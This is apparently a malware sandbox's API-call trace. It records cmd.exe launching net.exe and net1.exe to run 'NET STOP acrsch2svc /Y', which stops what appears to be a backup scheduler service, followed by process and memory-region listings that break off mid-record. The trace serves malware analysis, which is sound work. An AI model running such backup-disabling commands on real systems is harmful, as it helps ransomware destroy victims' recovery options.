(_String1="NET", _String2="VOL") returned -8 [0036.663] _wcsicmp (_String1="NET", _String2="EXIT") returned 9 [0036.663] _wcsicmp (_String1="NET", _String2="SETLOCAL") returned -5 [0036.663] _wcsicmp (_String1="NET", _String2="ENDLOCAL") returned 9 [0036.663] _wcsicmp (_String1="NET", _String2="TITLE") returned -6 [0036.663] _wcsicmp (_String1="NET", _String2="START") returned -5 [0036.663] _wcsicmp (_String1="NET", _String2="DPATH") returned 10 [0036.664] _wcsicmp (_String1="NET", _String2="KEYS") returned 3 [0036.664] _wcsicmp (_String1="NET", _String2="MOVE") returned 1 [0036.664] _wcsicmp (_String1="NET", _String2="PUSHD") returned -2 [0036.664] _wcsicmp (_String1="NET", _String2="POPD") returned -2 [0036.664] _wcsicmp (_String1="NET", _String2="ASSOC") returned 13 [0036.664] _wcsicmp (_String1="NET", _String2="FTYPE") returned 8 [0036.664] _wcsicmp (_String1="NET", _String2="BREAK") returned 12 [0036.664] _wcsicmp (_String1="NET", _String2="COLOR") returned 11 [0036.664] _wcsicmp (_String1="NET", _String2="MKLINK") returned 1 [0036.664] _wcsicmp (_String1="NET", _String2="DIR") returned 10 [0036.664] _wcsicmp (_String1="NET", _String2="ERASE") returned 9 [0036.664] _wcsicmp (_String1="NET", _String2="DEL") returned 10 [0036.664] _wcsicmp (_String1="NET", _String2="TYPE") returned -6 [0036.664] _wcsicmp (_String1="NET", _String2="COPY") returned 11 [0036.664] _wcsicmp (_String1="NET", _String2="CD") returned 11 [0036.664] _wcsicmp (_String1="NET", _String2="CHDIR") returned 11 [0036.664] _wcsicmp (_String1="NET", _String2="RENAME") returned -4 [0036.664] _wcsicmp (_String1="NET", _String2="REN") returned -4 [0036.664] _wcsicmp (_String1="NET", _String2="ECHO") returned 9 [0036.664] _wcsicmp (_String1="NET", _String2="SET") returned -5 [0036.664] _wcsicmp (_String1="NET", _String2="PAUSE") returned -2 [0036.664] _wcsicmp (_String1="NET", _String2="DATE") returned 10 [0036.664] _wcsicmp (_String1="NET", _String2="TIME") returned -6 [0036.664] _wcsicmp (_String1="NET", _String2="PROMPT") returned -2 [0036.664] _wcsicmp (_String1="NET", _String2="MD") returned 1 [0036.664] _wcsicmp (_String1="NET", _String2="MKDIR") returned 1 [0036.664] _wcsicmp (_String1="NET", _String2="RD") returned -4 [0036.664] _wcsicmp (_String1="NET", _String2="RMDIR") returned -4 [0036.664] _wcsicmp (_String1="NET", _String2="PATH") returned -2 [0036.664] _wcsicmp (_String1="NET", _String2="GOTO") returned 7 [0036.664] _wcsicmp (_String1="NET", _String2="SHIFT") returned -5 [0036.664] _wcsicmp (_String1="NET", _String2="CLS") returned 11 [0036.664] _wcsicmp (_String1="NET", _String2="CALL") returned 11 [0036.664] _wcsicmp (_String1="NET", _String2="VERIFY") returned -8 [0036.664] _wcsicmp (_String1="NET", _String2="VER") returned -8 [0036.665] _wcsicmp (_String1="NET", _String2="VOL") returned -8 [0036.665] _wcsicmp (_String1="NET", _String2="EXIT") returned 9 [0036.665] _wcsicmp (_String1="NET", _String2="SETLOCAL") returned -5 [0036.665] _wcsicmp (_String1="NET", _String2="ENDLOCAL") returned 9 [0036.665] _wcsicmp (_String1="NET", _String2="TITLE") returned -6 [0036.665] _wcsicmp (_String1="NET", _String2="START") returned -5 [0036.665] _wcsicmp (_String1="NET", _String2="DPATH") returned 10 [0036.665] _wcsicmp (_String1="NET", _String2="KEYS") returned 3 [0036.665] _wcsicmp (_String1="NET", _String2="MOVE") returned 1 [0036.665] _wcsicmp (_String1="NET", _String2="PUSHD") returned -2 [0036.665] _wcsicmp (_String1="NET", _String2="POPD") returned -2 [0036.665] _wcsicmp (_String1="NET", _String2="ASSOC") returned 13 [0036.665] _wcsicmp (_String1="NET", _String2="FTYPE") returned 8 [0036.665] _wcsicmp (_String1="NET", _String2="BREAK") returned 12 [0036.665] _wcsicmp (_String1="NET", _String2="COLOR") returned 11 [0036.665] _wcsicmp (_String1="NET", _String2="MKLINK") returned 1 [0036.665] _wcsicmp (_String1="NET", _String2="FOR") returned 8 [0036.665] _wcsicmp (_String1="NET", _String2="IF") returned 5 [0036.665] _wcsicmp (_String1="NET", _String2="REM") returned -4 [0036.665] _wcsnicmp (_String1="NET", _String2="cmd ", _MaxCount=0x4) returned 11 [0036.666] SetErrorMode (uMode=0x0) returned 0x0 [0036.666] SetErrorMode (uMode=0x1) returned 0x0 [0036.666] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1c5da8, lpFilePart=0x45ee90 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x45ee90*="Desktop") returned 0x25 [0036.666] SetErrorMode (uMode=0x0) returned 0x1 [0036.666] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0036.666] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0036.673] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0036.674] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0036.674] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NET.*", fInfoLevelId=0x1, lpFindFileData=0x45ec0c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ec0c) returned 0xffffffff [0036.675] GetLastError () returned 0x2 [0036.675] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NET", fInfoLevelId=0x1, lpFindFileData=0x45ec0c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ec0c) returned 0xffffffff [0036.675] GetLastError () returned 0x2 [0036.675] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0036.675] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\NET.*", fInfoLevelId=0x1, lpFindFileData=0x45ec0c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ec0c) returned 0x1c60e0 [0036.675] FindClose (in: hFindFile=0x1c60e0 | out: hFindFile=0x1c60e0) returned 1 [0036.675] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.COM", fInfoLevelId=0x1, lpFindFileData=0x45ec0c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ec0c) returned 0xffffffff [0036.675] GetLastError () returned 0x2 [0036.675] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.EXE", fInfoLevelId=0x1, lpFindFileData=0x45ec0c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ec0c) returned 0x1c60e0 [0036.676] FindClose (in: hFindFile=0x1c60e0 | out: hFindFile=0x1c60e0) returned 1 [0036.676] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0036.676] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0036.676] GetConsoleTitleW (in: lpConsoleTitle=0x45f104, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0036.676] InitializeProcThreadAttributeList (in: lpAttributeList=0x45ef8c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x45f054 | out: lpAttributeList=0x45ef8c, lpSize=0x45f054) returned 1 [0036.676] UpdateProcThreadAttribute (in: lpAttributeList=0x45ef8c, dwFlags=0x0, Attribute=0x60001, lpValue=0x45f04c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x45ef8c, lpPreviousValue=0x0) returned 1 [0036.676] GetStartupInfoW (in: lpStartupInfo=0x45ef48 | out: lpStartupInfo=0x45ef48*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x1b19be, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0036.676] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0036.676] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0036.676] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0036.676] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0036.676] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0036.676] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0036.676] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0036.676] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0036.676] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0036.676] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0036.676] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0036.677] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0036.677] lstrcmpW (lpString1="\\net.exe", lpString2="\\XCOPY.EXE") returned -1 [0036.679] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\net.exe", lpCommandLine="NET STOP acrsch2svc /Y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x45efe8*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="NET STOP acrsch2svc /Y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x45f034 | out: lpCommandLine="NET STOP acrsch2svc /Y", lpProcessInformation=0x45f034*(hProcess=0x7c, hThread=0x78, dwProcessId=0xa68, dwThreadId=0xa6c)) returned 1 [0036.685] CloseHandle (hObject=0x78) returned 1 [0036.685] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0036.685] GetEnvironmentStringsW () returned 0x1c4db8* [0036.685] FreeEnvironmentStringsW (penv=0x1c4db8) returned 1 [0036.685] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0036.869] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x45ef28 | out: lpExitCode=0x45ef28*=0x2) returned 1 [0036.870] CloseHandle (hObject=0x7c) returned 1 [0036.870] _vsnwprintf (in: _Buffer=0x45f070, _BufferCount=0x13, _Format="%08X", _ArgList=0x45ef34 | out: _Buffer="00000002") returned 8 [0036.870] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0036.870] GetEnvironmentStringsW () returned 0x1c2b18* [0036.870] FreeEnvironmentStringsW (penv=0x1c2b18) returned 1 [0036.870] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0036.870] GetEnvironmentStringsW () returned 0x1c2b18* [0036.870] FreeEnvironmentStringsW (penv=0x1c2b18) returned 1 [0036.870] DeleteProcThreadAttributeList (in: lpAttributeList=0x45ef8c | out: lpAttributeList=0x45ef8c) [0036.870] _get_osfhandle (_FileHandle=1) returned 0x7 [0036.870] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0036.870] _get_osfhandle (_FileHandle=1) returned 0x7 [0036.870] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aa441ac | out: lpMode=0x4aa441ac) returned 1 [0036.871] _get_osfhandle (_FileHandle=0) returned 0x3 [0036.871] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aa441b0 | out: lpMode=0x4aa441b0) returned 1 [0036.871] SetConsoleInputExeNameW () returned 0x1 [0036.871] GetConsoleOutputCP () returned 0x1b5 [0036.871] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0036.871] SetThreadUILanguage (LangId=0x0) returned 0x409 [0036.871] exit (_Code=2) Process: id = "9" image_name = "net.exe" filename = "c:\\windows\\syswow64\\net.exe" page_root = "0x4e1a6000" os_pid = "0xa68" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0xa50" cmd_line = "NET STOP acrsch2svc /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 541 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 542 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 543 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 544 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 545 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 546 start_va = 0xf0000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 547 start_va = 0x1a0000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 548 start_va = 0x9f0000 end_va = 0xa07fff entry_point = 0x9f0000 region_type = mapped_file name = "net.exe" filename = "\\Windows\\SysWOW64\\net.exe" (normalized: "c:\\windows\\syswow64\\net.exe") Region: id = 549 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 550 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 551 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 552 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 553 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 554 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 555 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 556 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 557 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 558 start_va = 0x3b0000 end_va = 0x42ffff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 559 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 560 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 561 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 562 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 563 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 564 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 565 start_va = 0x3a0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 566 start_va = 0x5c0000 end_va = 0x6bffff entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 567 start_va = 0x751e0000 end_va = 0x751e6fff entry_point = 0x751e0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 568 start_va = 0x751f0000 end_va = 0x7520bfff entry_point = 0x751f0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 569 start_va = 0x75210000 end_va = 0x7521efff entry_point = 0x75210000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 570 start_va = 0x75220000 end_va = 0x75238fff entry_point = 0x75220000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 571 start_va = 0x75240000 end_va = 0x7524efff entry_point = 0x75240000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 572 start_va = 0x75250000 end_va = 0x7525cfff entry_point = 0x75250000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 573 start_va = 0x75260000 end_va = 0x75268fff entry_point = 0x75260000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 574 start_va = 0x75280000 end_va = 0x75291fff entry_point = 0x75280000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 575 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 576 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 577 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 578 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 579 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 580 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 581 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 582 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 583 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 584 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 585 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 586 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 587 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Thread: id = 10 os_tid = 0xa6c Process: id = "10" image_name = "net1.exe" filename = "c:\\windows\\syswow64\\net1.exe" page_root = "0x4e810000" os_pid = "0xa70" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0xa68" cmd_line = "C:\\Windows\\system32\\net1 STOP acrsch2svc /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 588 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 589 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 590 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 591 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 592 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 593 start_va = 0x1d0000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 594 start_va = 0x2e0000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 595 start_va = 0x7f0000 end_va = 0x819fff entry_point = 0x7f0000 region_type = mapped_file name = "net1.exe" filename = "\\Windows\\SysWOW64\\net1.exe" (normalized: "c:\\windows\\syswow64\\net1.exe") Region: id = 596 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 597 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 598 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 599 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 600 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 601 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 602 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 603 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 604 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 605 start_va = 0x70000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 606 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 607 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 